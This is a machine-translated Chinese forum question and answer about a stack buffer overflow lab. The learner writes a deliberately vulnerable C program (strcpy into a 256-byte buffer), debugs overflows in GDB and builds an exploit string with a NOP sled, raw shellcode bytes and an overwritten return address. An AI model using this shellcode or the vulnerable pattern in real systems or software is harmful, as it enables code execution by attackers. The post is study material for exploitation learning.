缓冲区溢出漏洞利用示例

Question

我正在通过一些缓冲区溢出漏洞利用示例工作，并编写了一个基本的易受攻击的C应用程序来测试：（目标和攻击者是相同的Kali 2计算机并运行“echo”0“>/proc/SYS /内核/ randomize_va_space“）现在

#include <stdio.h> 
#include <string.h> 
#include <stdlib.h> 

int main(int argc, char *argv[]) 
{ 
     char buffer[256]; 
     if (argc != 2) 
     { 
       exit(0); 
     } 

     strcpy(buffer, argv[1]); 
     printf("%s\n", buffer); 
} 

，在GDB一些测试我可以通过把260个字节的缓冲引起赛格故障：

r $(python -c 'print "A" * 204 + "BBBB" + "C" * 52') 

与寄存器表示：

eax   0x105 261 
ecx   0xffffd300 -11520 
edx   0xf7fb3878 -134530952 
ebx   0xf7fb2000 -134537216 
esp   0xffffd300 0xffffd300 
ebp   0x0 0x0 
esi   0x0 0 
edi   0x0 0 
eip   0x42424242 0x42424242 
eflags   0x10286 [ PF SF IF RF ] 
cs    0x23 35 
ss    0x2b 43 
ds    0x2b 43 
es    0x2b 43 
fs    0x0 0 
gs    0x63 99 

我认为可以成功地获得EIP的控制下，给定上述0x424242（虽然EBP为0x0？）

问题1.

随着260个字节的缓冲，EIP被重写为以上。如果使用：

r $(python -c 'print "A" * 512') 

我发现了SEGSEGV在0x080484b4与寄存器

eax   0x201 513 
ecx   0x41414141 1094795585 
edx   0xf7fb3878 -134530952 
ebx   0xf7fb2000 -134537216 
esp   0x4141413d 0x4141413d 
ebp   0x41414141 0x41414141 
esi   0x0 0 
edi   0x0 0 
eip   0x80484b4 0x80484b4 <main+89> 
eflags   0x10286 [ PF SF IF RF ] 
cs    0x23 35 
ss    0x2b 43 
ds    0x2b 43 
es    0x2b 43 
fs    0x0 0 
gs    0x63 99 

我会想，如果EIP的260个增益控制，应该不是512字节的例子，以及？为什么512场景允许EIP在这种情况下指向ret，而不是在上面的260字节缓冲区示例中的0x424242？

问题2.

我已经创建了一个有效载荷是87个字节。我已注入的有效载荷到初始204个字节如下

r $(python -c 'print "\x90" * (204-87) + "<87 byte payload>" + "EIP <address>" + "\x90" * (260-204-4)') 

我disas主要是如下

0x0804845b <+0>: lea 0x4(%esp),%ecx 
    0x0804845f <+4>: and $0xfffffff0,%esp 
    0x08048462 <+7>: pushl -0x4(%ecx) 
    0x08048465 <+10>: push %ebp 
    0x08048466 <+11>: mov %esp,%ebp 
    0x08048468 <+13>: push %ecx 
    0x08048469 <+14>: sub $0x104,%esp 
    0x0804846f <+20>: mov %ecx,%eax 
    0x08048471 <+22>: cmpl $0x2,(%eax) 
    0x08048474 <+25>: je  0x8048480 <main+37> 
    0x08048476 <+27>: sub $0xc,%esp 
    0x08048479 <+30>: push $0x0 
    0x0804847b <+32>: call 0x8048340 <exit@plt> 
    0x08048480 <+37>: mov 0x4(%eax),%eax 
    0x08048483 <+40>: add $0x4,%eax 
    0x08048486 <+43>: mov (%eax),%eax 
    0x08048488 <+45>: sub $0x8,%esp 
    0x0804848b <+48>: push %eax 
    0x0804848c <+49>: lea -0x108(%ebp),%eax 
    0x08048492 <+55>: push %eax 
    0x08048493 <+56>: call 0x8048310 <strcpy@plt> 
    0x08048498 <+61>: add $0x10,%esp 
    0x0804849b <+64>: sub $0xc,%esp 
    0x0804849e <+67>: lea -0x108(%ebp),%eax 
    0x080484a4 <+73>: push %eax 
    0x080484a5 <+74>: call 0x8048320 <puts@plt> 
    0x080484aa <+79>: add $0x10,%esp 
    0x080484ad <+82>: mov -0x4(%ebp),%ecx 
    0x080484b0 <+85>: leave 
    0x080484b1 <+86>: lea -0x4(%ecx),%esp 
=> 0x080484b4 <+89>: ret 

戴上56断裂（0x08048493）并检查ESP X/2wx $ ESP我可以发现：

0xffffd220: 0xffffd230 0xffffd56b 

和X/S 0xffffd56b

0xffffd56b: 'A' <repeats 117 times>, 'B' <repeats 83 times>... 
(gdb) 
0xffffd633: "BBBBCCCC", 'D' <repeats 52 times> 

所以，可以推断（希望正确地）EIP应\ X6B \ XD5 \ XFF \ XFF调用利用，并且（使用NOP雪橇）如下面代所有件：

r $(python -c 'print "\x90" * (204-87) + "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\xa9\xb2\x8c\x21\x7d\xac\xb1\x84\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xc3\x89\xd4\xb8\x35\x17\x9e\xe6\xc0\xdc\xa3\x52\x15\xac\xe2\xcc\x20\x55\xe4\x0c\x1e\xac\xb1\xcc\x20\x54\xde\xc9\x75\xac\xb1\x84\x86\xd0\xe5\x4f\x52\xdf\xd9\x84\xff\xe5\xc4\xa8\x9b\xa3\xb4\x84" + "\x6b\xd5\xff\xff" + "\x90" * (260-204-4)') 

不幸的是，该程序现在通常以“[下1（进程2863）正常退出]”正常终止“。我是否错过了一些东西或者只是走了正确的道路...？另外我注意到在上面的陈述中没有不休息的休息时间？

- 编辑

重述屏幕步行从小时路程:)

Answer 1

注意，原来的堆栈指针被保存在堆栈上之后更有意义，它是在ret之前刚刚恢复。因此，如果您覆盖堆栈，您也可能会覆盖将用于ret的堆栈指针。 main是特殊的这种方式，因为它在序言中有栈对齐码。

也就是说，预期的行为实际上是第二种情况，第一种情况是特殊情况。你的字符串恰好是正确的长度，所以终止零将覆盖保存的堆栈指针的低字节，这足以使它在内存中稍低一点，但仍然在你的字符串中。确切的位置将取决于堆栈布局，它并不总是您的BBBB，实际上对我来说它在AAAA部分中的某处。请注意，即使在ASLR关闭的情况下，堆栈布局也可能因环境而发生变化，所以即使您在gdb中使用漏洞，它也可能无法可靠地运行，或者根本不能从shell运行。